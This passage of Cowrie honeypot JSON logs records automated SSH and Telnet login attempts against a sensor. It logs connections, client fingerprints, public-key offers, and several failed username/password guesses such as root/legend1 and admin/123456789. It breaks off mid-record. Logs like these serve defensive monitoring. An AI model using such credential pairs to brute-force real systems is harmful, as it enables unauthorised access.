{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:02.786582Z","src_ip":"182.93.50.90","session":"fd80ca7d8c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legend1","message":"login attempt [root/legend1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:03.696406Z","src_ip":"182.93.50.90","session":"fd80ca7d8c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:04.931941Z","src_ip":"182.93.50.90","session":"fd80ca7d8c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35986,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2fc5ec871e5","protocol":"telnet","message":"New connection: 128.199.8.54:35986 (159.203.135.109:23) [session: d2fc5ec871e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:07.071702Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e25dbd22bc9","protocol":"telnet","message":"New connection: 172.81.62.90:38412 (159.203.135.109:23) [session: 2e25dbd22bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:11.581545Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43920,"dst_ip":"159.203.135.109","dst_port":23,"session":"51dfd0173a86","protocol":"telnet","message":"New connection: 172.81.62.90:43920 (159.203.135.109:23) [session: 51dfd0173a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:17.632555Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38410,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc0533a9ec6","protocol":"telnet","message":"New connection: 172.81.62.90:38410 (159.203.135.109:23) [session: cfc0533a9ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:17.646138Z"}
{"eventid":"cowrie.session.closed","duration":36.31196355819702,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:28.616584Z","src_ip":"172.81.62.90","session":"607e6f0cd9a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.26149010658264,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:33.593563Z","src_ip":"128.199.8.54","session":"41feae13fec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.79797649383545,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:35.133629Z","src_ip":"172.81.62.90","session":"3ba36f985113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56355166435242,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:36.924530Z","src_ip":"172.81.62.90","session":"3e47a5cf1cc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.87647795677185,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:45.899127Z","src_ip":"128.199.8.54","session":"1a06321c0a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":59780,"dst_ip":"10.17.0.5","dst_port":22,"session":"8258499bf233","protocol":"ssh","message":"New connection: 34.100.248.63:59780 (10.17.0.5:22) [session: 8258499bf233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:50.781100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:50.790437Z","src_ip":"34.100.248.63","session":"8258499bf233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.27462077140808,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:50.855926Z","src_ip":"172.81.62.90","session":"2e25dbd22bc9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:51.038918Z","src_ip":"34.100.248.63","session":"8258499bf233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lobby","password":"123456","message":"login attempt [lobby/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:52.042032Z","src_ip":"34.100.248.63","session":"8258499bf233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:53.285626Z","src_ip":"34.100.248.63","session":"8258499bf233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.240843772888184,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:53.886777Z","src_ip":"172.81.62.90","session":"cfc0533a9ec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.251160621643066,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:56.322721Z","src_ip":"128.199.8.54","session":"d2fc5ec871e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.086315393447876,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:01:57.718699Z","src_ip":"172.81.62.90","session":"51dfd0173a86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34520,"dst_ip":"159.203.135.109","dst_port":22,"session":"610232bd428d","protocol":"ssh","message":"New connection: 91.92.40.4:34520 (159.203.135.109:22) [session: 610232bd428d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:03.852883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:03.904576Z","src_ip":"91.92.40.4","session":"610232bd428d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:03.977615Z","src_ip":"91.92.40.4","session":"610232bd428d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:04.387893Z","src_ip":"91.92.40.4","session":"610232bd428d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:05.519373Z","src_ip":"91.92.40.4","session":"610232bd428d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43574,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2b2b66921e8","protocol":"ssh","message":"New connection: 103.149.28.157:43574 (159.203.135.109:22) [session: c2b2b66921e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:19.851842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:19.857222Z","src_ip":"103.149.28.157","session":"c2b2b66921e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:20.111077Z","src_ip":"103.149.28.157","session":"c2b2b66921e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5678","message":"login attempt [root/5678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:20.865652Z","src_ip":"103.149.28.157","session":"c2b2b66921e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:22.118165Z","src_ip":"103.149.28.157","session":"c2b2b66921e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39024,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d362d1fd77","protocol":"telnet","message":"New connection: 128.199.8.54:39024 (159.203.135.109:23) [session: e1d362d1fd77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:34.283450Z"}
{"eventid":"cowrie.session.closed","duration":0.003564119338989258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:02:34.286926Z","src_ip":"128.199.8.54","session":"e1d362d1fd77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":33876,"dst_ip":"10.17.0.5","dst_port":22,"session":"304fafa7a21f","protocol":"ssh","message":"New connection: 108.178.7.34:33876 (10.17.0.5:22) [session: 304fafa7a21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.588494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.592460Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.621365Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:bc:ce:4e:17:ff:e4:41:ae:d7:a3:eb:0e:ca:4b:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxj1E0fLIzpoKD16IuHygBmqxZec5lcNQ8LyTuN2EzrsU7bQCk1RwCz84J8DAU1j5z3hh8cUJVbDTpZfoqrmvxLZ7f1vtUCtZpabxrHY4GB3Fj7+juBFxuDr5DydWC0r1eUgt1Tk6Vp3lyupdgRVpkV59yZrm3E55ewIV68YaVFuQVkQZmGf2pwaSyE6G7rQC5xHZYFLuUTt82irpTAckzYPE9C8leiYnpA4UxUaFBKquePEjecJLLCJ21AXdmM53bZLK1buDbFPqwDYAhROd9ST/itDBEmA7QSgQ6pCyPFCJV7eRJsO49ncRZA9+OVAGrd9cpfY6S6wZEC2tXL4zh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:bc:ce:4e:17:ff:e4:41:ae:d7:a3:eb:0e:ca:4b:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.746034Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:bc:ce:4e:17:ff:e4:41:ae:d7:a3:eb:0e:ca:4b:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxj1E0fLIzpoKD16IuHygBmqxZec5lcNQ8LyTuN2EzrsU7bQCk1RwCz84J8DAU1j5z3hh8cUJVbDTpZfoqrmvxLZ7f1vtUCtZpabxrHY4GB3Fj7+juBFxuDr5DydWC0r1eUgt1Tk6Vp3lyupdgRVpkV59yZrm3E55ewIV68YaVFuQVkQZmGf2pwaSyE6G7rQC5xHZYFLuUTt82irpTAckzYPE9C8leiYnpA4UxUaFBKquePEjecJLLCJ21AXdmM53bZLK1buDbFPqwDYAhROd9ST/itDBEmA7QSgQ6pCyPFCJV7eRJsO49ncRZA9+OVAGrd9cpfY6S6wZEC2tXL4zh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.749378Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:ad:32:b6:8b:6a:be:5f:27:2c:81:a1:0d:1e:a8:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTCGUAuzIRa5uML9NalLYGhLlQXMIkjNtSPiW+QyAVtHk4tMvGW71sVj4NOH1hMbL6OvVMN8bbbq7FhYm7cF7PZkA054EZpbHXLdVdiNO4KBU3Dy+GjVIEQRoEuxErCSvK9rbMYRwmNGb0Yb3wnKtp86uovafg4vuQDTZSoaku1/C7BUj81wUWExl3ODChG0wieQvFZo21O0euHEV5dslRVcoGgDEYPXC6Yeh01j1/ZFEBre7oagi045mq6DmqkvRY28YIyhdPjgExTKGgL9LUkUtKesLLywK6gVEBCR6M5VV8EzIKuci1zVIg0uhM0OAES7EgdDbTzYj4zZfV6eU5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:ad:32:b6:8b:6a:be:5f:27:2c:81:a1:0d:1e:a8:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.781397Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:ad:32:b6:8b:6a:be:5f:27:2c:81:a1:0d:1e:a8:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTCGUAuzIRa5uML9NalLYGhLlQXMIkjNtSPiW+QyAVtHk4tMvGW71sVj4NOH1hMbL6OvVMN8bbbq7FhYm7cF7PZkA054EZpbHXLdVdiNO4KBU3Dy+GjVIEQRoEuxErCSvK9rbMYRwmNGb0Yb3wnKtp86uovafg4vuQDTZSoaku1/C7BUj81wUWExl3ODChG0wieQvFZo21O0euHEV5dslRVcoGgDEYPXC6Yeh01j1/ZFEBre7oagi045mq6DmqkvRY28YIyhdPjgExTKGgL9LUkUtKesLLywK6gVEBCR6M5VV8EzIKuci1zVIg0uhM0OAES7EgdDbTzYj4zZfV6eU5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.783922Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:be:9f:63:7d:9a:1e:67:91:ee:16:60:64:cf:19:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj8QT1w/RjYTJPPGGsGodW3pfx8Ou5eHs/fzVpFwXMGm2BBHelQTqo8opFhnZqU0tjr9+uOBiGYoBnzwihbpBHfRxfwRqZEAPAucAYdtyiuLBUD2nlY3aqFVNzG0Q55nL0tbBA+7gjvHet4sRw69UXonSuzF5iYk7HnfRVBqbn8DQBuFlrLUyCJbD8xXUND1LpZPzCAqfHtuqAD593MypzNHqfoKcOXKAaDKAPKILAu7viUqm5wLMqUf9Dcq4tLEPm3tV8V16mXSFhMgOn66T85Epb7PeOX0+F74gUrkBPt4IVlBt4YQQhpqlMMixmP9aVd3+KRlhbubMxCElYvVSSnXAkRye7PdanKCi78GxCus+L7Wg+tQaUiNeiLYMDuFb+JRSoxRRXgunAJGyfosmGlsz+xBabMdQrhARmI0g2lpTrAca8CRsB2PD2PGwyT2zK8KXTxnsMkp5AerYW6w2MpCGgfIGAlWA/JWUf1ai9ifep+SIwzKFK/hhUYzjBj1XHOUCZZTEzlnvhTblL57JbS/eyREAtx0EQq2HYSYaDB+02tPwzvB1OXAUhxXZO+Znd//CK9l44iaH5A/g374WwJY9GStb4MRp44BEwLNzQdQ7lIKdj90Ojqgam1+fLDsoFbUlwJohLR6+YOMKOG/iust//115ui7Vk18Sva1AZCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:be:9f:63:7d:9a:1e:67:91:ee:16:60:64:cf:19:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:03:22.819104Z","src_ip":"108.178.7.34","session":"304fafa7a21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:be:9f:63:7d:9a:1e:67:91:ee:16:60:64:cf:19:0d","key":"ssh-rsa 